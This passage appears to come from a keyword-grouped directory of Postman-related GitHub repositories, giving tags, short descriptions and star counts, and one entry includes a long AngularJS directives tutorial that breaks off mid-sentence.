responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
matt-ball/postman-external-require
external, inside, node, package, packages, require 		Import node packages inside Postman. 1 stars 1 watchers 1 forks
VictorioBerra/duo-v1-postman-signer
inside, sha1, signature 		Use the Duo v1 API via sha1 using the v2 signature all inside postman. 1 stars 1 watchers 0 forks
detailnet/lw-inside-postman
inside 		Postman Collections for Louis Widmer Inside. 0 stars 0 watchers 2 forks
shubhamjadon/SampleSingleRequestRun
details, file, files, inside, sample, single, test 		This repository contains all the files used to test sample single request run feature and details of changes made inside postman repository to add the feature 0 stars 0 watchers 0 forks

preferred (6 listings) (Back to Top)

PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
wannaup/postman-go
lang, mail, messaging, microservice, preferred, relay, service, threaded, version 		The Golang version of our preferred postman mail to threaded messaging relay microservice in Go. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks

office (6 listings) (Back to Top)

bhawna2109/Librarian
book, books, case, check, collection, data, database, library, office, search, storing 		Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. 1 stars 1 watchers 0 forks
swiftinc/gpi-connector-backoffice-simulator
collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation 		This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. 0 stars 0 watchers 2 forks
TaukSnarkyAgrud/postoffice
automat, automation, office, tool, tools 		handmade tools for optimizing postman automation 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
AntonKtrue/rest-json2doc
document, json, office, rest, rest api 		Converter for postman json rest api to office document 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks

external (6 listings) (Back to Top)

sjefvanleeuwen/camunda-zaken
case, engine, external, node, nodejs, process, research, search 		BPMN research case for zaakgericht werken using camunda process engine on nodejs external workers 2 stars 2 watchers 0 forks
matt-ball/postman-external-require
external, inside, node, package, packages, require 		Import node packages inside Postman. 1 stars 1 watchers 1 forks
jernejk/SSW.TimePRO.AutoTimesheeting
external, timesheets 		Automating timesheets with help of Azure Functions and Logic Apps (external) 1 stars 1 watchers 0 forks
chrishare/postman-jwt
external, to do 		Demonstrate how to do a Postman JWT without external callouts 0 stars 0 watchers 0 forks
fabiohenriquebayma/ReplacingPostman
environment, external, organized, place, postman tests, replace, rest, rest service, service, services, test, tests, tool 		A tool to replace CI postman tests in a CI environment. Test are organized by stories. Can test externals rest services. 0 stars 0 watchers 0 forks
lsolier/Postman-Collections-Vehicles-Api
external, service, services, test 		Postman Collections to test Vehicles API and external services that its use 0 stars 0 watchers 0 forks

digital (6 listings) (Back to Top)

dawitnida/digitalocean-postman
digital, digitalocean, place, placeholder 		Postman Collection for DigitalOcean API, a placeholder to maintain DO API Postman Collections (not owned by DO). 0 stars 0 watchers 6 forks
PDMLab/digitalocean-api-postman
collection, digital, digitalocean 		Postman collection for DigitalOcean API 0 stars 0 watchers 1 forks
digitaleo/api-tutorials
collection, collections, digital, index, tutorial, tutorials 		This repository indexes some Postman collections to help you take in hand Digitaleo APIs 0 stars 0 watchers 0 forks
digitalbias/blog_postman
automat, automatic, automatically, blog, digital, github, pages, script 		Elixir script to merge github pages changes automatically using GitHub API v4 0 stars 0 watchers 0 forks
digitalrebar/postman
digital, endpoint, form, rebar 		Postman Collections to interact with a Digital Rebar Platform endpoint. 0 stars 0 watchers 0 forks
Nobiadigital/Nobia_TA_API_V1
digital, postman tests, test, tests 		postman tests for api 0 stars 0 watchers 0 forks

powered (6 listings) (Back to Top)

JamesMessinger/super-powered-api-testing
powered, powerful, test, testing, tool, tools 		Comparisons of powerful API testing tools 0 stars 0 watchers 19 forks
ai-devnet/Postman-for-Cisco-SD-WAN
collection, devnet, environment, powered 		Postman environment and collection for Cisco SD-WAN powered by Viptela 5 stars 5 watchers 1 forks
CiscoDevNet/Postman-for-Cisco-SD-WAN
collection, environment, powered 		Postman environment and collection for Cisco SD-WAN powered by Viptela 0 stars 0 watchers 4 forks
abroz/lunch-picker
collection, discover, discovery, lunch, picker, powered, rest, restaurant, service 		Lunch Picker is a Postman collection that acts as a restaurant discovery service, powered by the Yelp Fusion API. 0 stars 0 watchers 0 forks
AbstractElemental/postage
email, emails, library, mail, powered, send 		Simple library for sending emails powered by Freemarker. No postman or milkman to steal your mom here. 0 stars 0 watchers 0 forks
cyberrspiritt/post2Doc
collection, convert, document, export, powered, source 		An open source project to convert Postman export of a collection to an api document powered by Aglio 0 stars 0 watchers 0 forks

iris (6 listings) (Back to Top)

empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
VadlamudiGirish11013327/Chinese-Postman-problem
description, iris, problem, script 		No description available. 0 stars 0 watchers 0 forks
birish87/ppgService
api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql 		simple springboot, rest service whereby we can integrate postman with our postgresql db. 0 stars 0 watchers 0 forks
iris9112/API_COURSES
iris 		Proyecto de guía del curso de postman 0 stars 0 watchers 0 forks
irishelp/RSAForPostman
iris 		RSA for Postman 0 stars 0 watchers 0 forks
sirishapng/postman-Automation
iris 		Power Point Presentation on postman 0 stars 0 watchers 0 forks

zero (6 listings) (Back to Top)

zerobounce/postman-v2
zero 		Postman Collection of our ZeroBounce API V2 0 stars 0 watchers 5 forks
Nolikzero/laravel-postman
description, laravel, script, zero 		No description available. 0 stars 0 watchers 1 forks
zeroc0d3/json-postman
json, zero 		JSON (JavaScript Object Notation) Automation Test Case via Postman 0 stars 0 watchers 1 forks
morvader/PostmanWorkshop
zero 		Postman Workshop: From zero to hero 0 stars 0 watchers 0 forks
shzerobigonesmall/postman-collection
collection, collections, library, zero 		A library for creating Postman collections in Go 0 stars 0 watchers 0 forks
zeroidentidad/api-rest-prac1
rest, zero 		Practica primer REST API usando Node.js y Postman 0 stars 0 watchers 0 forks

smart (6 listings) (Back to Top)

vqndev/viper-smart-start-postman
smart, viper 		Collection of HTTP Requests to interact with Viper SmartStart 1 stars 1 watchers 1 forks
smartive/techtalk-integration-tests-postman
automat, automate, automated, integration, newman, smart, talk, test, tests 		Small demo-api to show (automated) integration tests with postman and newman 0 stars 0 watchers 3 forks
Torvictor/smart_house_postman
smart, test, testing, victor 		For testing API of smart house 1 stars 1 watchers 0 forks
grlib/apiman
apiman, desktop, smart 		apiman is a desktop app like Postman, But more smart 0 stars 0 watchers 0 forks
NageshJoy007/api-tests-postman-mockserver
mock, mocks, mockserver, server, server., smart, test, tests 		Write your api tests in a smart way using postman mock server. 0 stars 0 watchers 0 forks
yuanmei19930510/postman_APItest
home, smart, smarthome, test 		practice postman to test smarthome 0 stars 0 watchers 0 forks

rocket (6 listings) (Back to Top)

numberly/flask2postman
application, collection, flask, rocket 		:rocket: Generate a Postman collection from your Flask application 0 stars 0 watchers 11 forks
ghoshnirmalya/linkedin-clone-rails-backend
backend, clone, link, linkedin, rails, rocket, software 		:rocket: API to power a software similar to LinkedIn 5 stars 5 watchers 0 forks
joolfe/postman-util-lib
crypto, library, rocket, script, tabs, util, utility 		:rocket: A crypto utility library to be used from Postman Pre-request and Tests script tabs. 0 stars 0 watchers 3 forks
fnogcps/api-express
express, rocket 		:rocket: A simple API with Express.js 1 stars 1 watchers 0 forks
daniellbr/rocketSeatCurso
knex, react, rocket 		Curso da rocketSeat com Node/knex/postman mais react para o front 0 stars 0 watchers 0 forks
mesh1nek0x0/zenhub-postman
collection, collections, postman collection, postman collections, rocket, zenhub 		:rocket: postman collections for zenhub api 0 stars 0 watchers 0 forks

powerful (6 listings) (Back to Top)

tiagohm/restler
powerful, quickly, rest, restler, test, testing 		Restler is a beautiful and powerful Android app for quickly testing REST API anywhere and anytime. 19 stars 19 watchers 5 forks
JamesMessinger/super-powered-api-testing
powered, powerful, test, testing, tool, tools 		Comparisons of powerful API testing tools 0 stars 0 watchers 19 forks
akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
Krishank/API-Test-Lib
collection, dynamic, dynamically, export, powerful, proving, test, testing, tool 		As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool 0 stars 0 watchers 0 forks
Masum-Osman/eapi
commerce, powerful, site 		e-commerce site with powerful Postman ReSTFul API 0 stars 0 watchers 0 forks
vanirjr/multi.Postman
bulk, mail, mailing, powerful, running, server, servers, system 		a very powerful bulk mailing system for FreeBSD/Linux/Unix servers running Postfix and PHP 0 stars 0 watchers 0 forks

functionalities (6 listings) (Back to Top)

DatavenueLiveObjects/Postman-collections-for-Live-Objects
collection, collections, function, functional, functionalities, sample 		This is sample to use full functionalities of Live Objects 2 stars 2 watchers 1 forks
bygui86/kafka-sample
function, functional, functionalities, kafka, sample 		Sample of how to use Spring Kafka functionalities 0 stars 0 watchers 1 forks
bluepropane/newman-server
function, functional, functionalities, interface, newman, server 		Postman's Newman CLI functionalities exposed through a HTTP server interface. 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks
onur-yildiz/postman-ui
angular, function, functional, functionalities 		A basic replicate of Postman App UI with some functionalities. Made with angular. 0 stars 0 watchers 0 forks
syedamanat/Maven-Spring-hibernate-docker
collection, collections, common, deploying, docker, function, functional, functionalities, hibernate, to do 		Developing common usage functionalities, REST-led with Postman collections and also deploying to docker. 0 stars 0 watchers 0 forks

technologies (6 listings) (Back to Top)

open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
Only1Ryu/Java-SpringBoot-Rest-MySQL
technologies 		Creating REST API using Java Spring Boot Rest MySQL and technologies are used is Intellij IDE,SQLyog ,MySQL,POSTman 3 stars 3 watchers 1 forks
joyghosh/postman
actor, current, email, framework, mail, relay, technologies 		Highly concurrent and queue based email relay sever. JMS and Akka's actors framework are the main technologies used. 1 stars 1 watchers 0 forks
Aniquir/MyTibiaHelper
application, game, guiding, popular, server, servers, technologies 		This is an application that helps in guiding characters in the popular game. Used technologies: Java, Spring / Spring Boot, Hibernate, PostgreSQL, Git, Maven, Trello, Postman. Application is built in the microservers architecture. 0 stars 0 watchers 0 forks
dawidpolednik/DelfinagramAPP
data, friend, library, posts, technologies 		Application which allows you to manage your own posts/friends/data. This APP was based on React library with React-Router-DOM and Redux. Others technologies used in this project: Material UI, Postman, SASS(SCSS), Netlify 0 stars 0 watchers 0 forks
netexlearningtechnologies/WSPlay
learn, learning, technologies, test 		Project to launch Play WS to test by Postman and Travis CI 0 stars 0 watchers 0 forks

patch (5 listings) (Back to Top)

owainlewis/relay
patch, relay, struct, structure, tool, tools 		Relay lets you write HTTP requests as easy to read, structured YAML and dispatch them easily using a CLI. Similar to tools like Postman 24 stars 24 watchers 0 forks
nikandlv/postman-patcher
java, javascript, patch, render, script 		Allows postman to render javascript in preview 0 stars 0 watchers 1 forks
jerowang/postman-patch-asar-ssh
description, patch, script 		No description available. 0 stars 0 watchers 0 forks
Ketzatl/test-n-4
description, patch, script, test 		test requêtes - API GitHub et Postman - Nouvelle description (patch Postman) 0 stars 0 watchers 0 forks
param2404/userPosts
check, collection, collections, description, email, mail, model, mongo, mongoose, operation, patch, phone, result, script, user, users 		C.R.U.D operation using REST APIs and Mongoose . 1. Create two collections (User,Post) using mongoose.model USER: name, phone,email etc. POST: title,description etc. 2. Add users/post through POSTMAN and check the result in robo3t.(CREATE-post) 3.Fetch users/post through POSTMAN and check the result in robo3t.(READ-get) 4.Update users/post through POSTMAN and check the result in robo3t.(UPDATE-patch) 5.Delete users/post through POSTMAN and check the result in robo3t.(DELETE-delete) 6.Fetch a particular user's post using its id or name . 0 stars 0 watchers 0 forks

dashboard (5 listings) (Back to Top)

aisabel/Postman-pinterestExamples
access, account, dashboard, rest, rest api, spec, token, tokens 		This repository is just to access pinterest api and create dashboards in a specific account using tokens. 0 stars 0 watchers 0 forks
arunrajachandar/covid
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
arunrajachandar/covidSrcCode
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
dexterlabora/meraki-dashboard-api-postman
dashboard, meraki 		Meraki Dashboard API Postman Collection Backup 0 stars 0 watchers 0 forks
Jaco1984/Spottify_Javier
dashboard, developer, http, https, login, service, spotify, token 		Aplicación como Spotiffy, para probarla necesitan el token que genera vuestra sesion "https://developer.spotify.com/dashboard/login" yo lo uso con el Postman para recogerlo y poder probarlo hay que cambiarlo en el archivo "spotiffy.service.ts" en la linea 21 despues del Bearer 0 stars 0 watchers 0 forks

serverless (5 listings) (Back to Top)

rupakg/postman
application, email, mail, server, serverless, service 		A simple serverless application with an email service. 4 stars 4 watchers 1 forks
Mgutjahr/serverless-newman
lambda, newman, server, serverless, test 		Execute newman (postman) test on AWS lambda 0 stars 0 watchers 2 forks
jensvog/serverless-postman-env-plugin
endpoint, endpoints, environment, file, http, plugin, server, serverless 		Serverless plugin for creating a postman environment file from http endpoints 0 stars 0 watchers 0 forks
kogden/serverless-mongo-database
data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger 		Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. 0 stars 0 watchers 0 forks
sweb1433/serverless-api-monk
function, functions, lambda, node, nodejs, server, serverless 		CRUD api using nodejs, serverless, lambda functions and postman and monk. 0 stars 0 watchers 0 forks

initial (5 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then 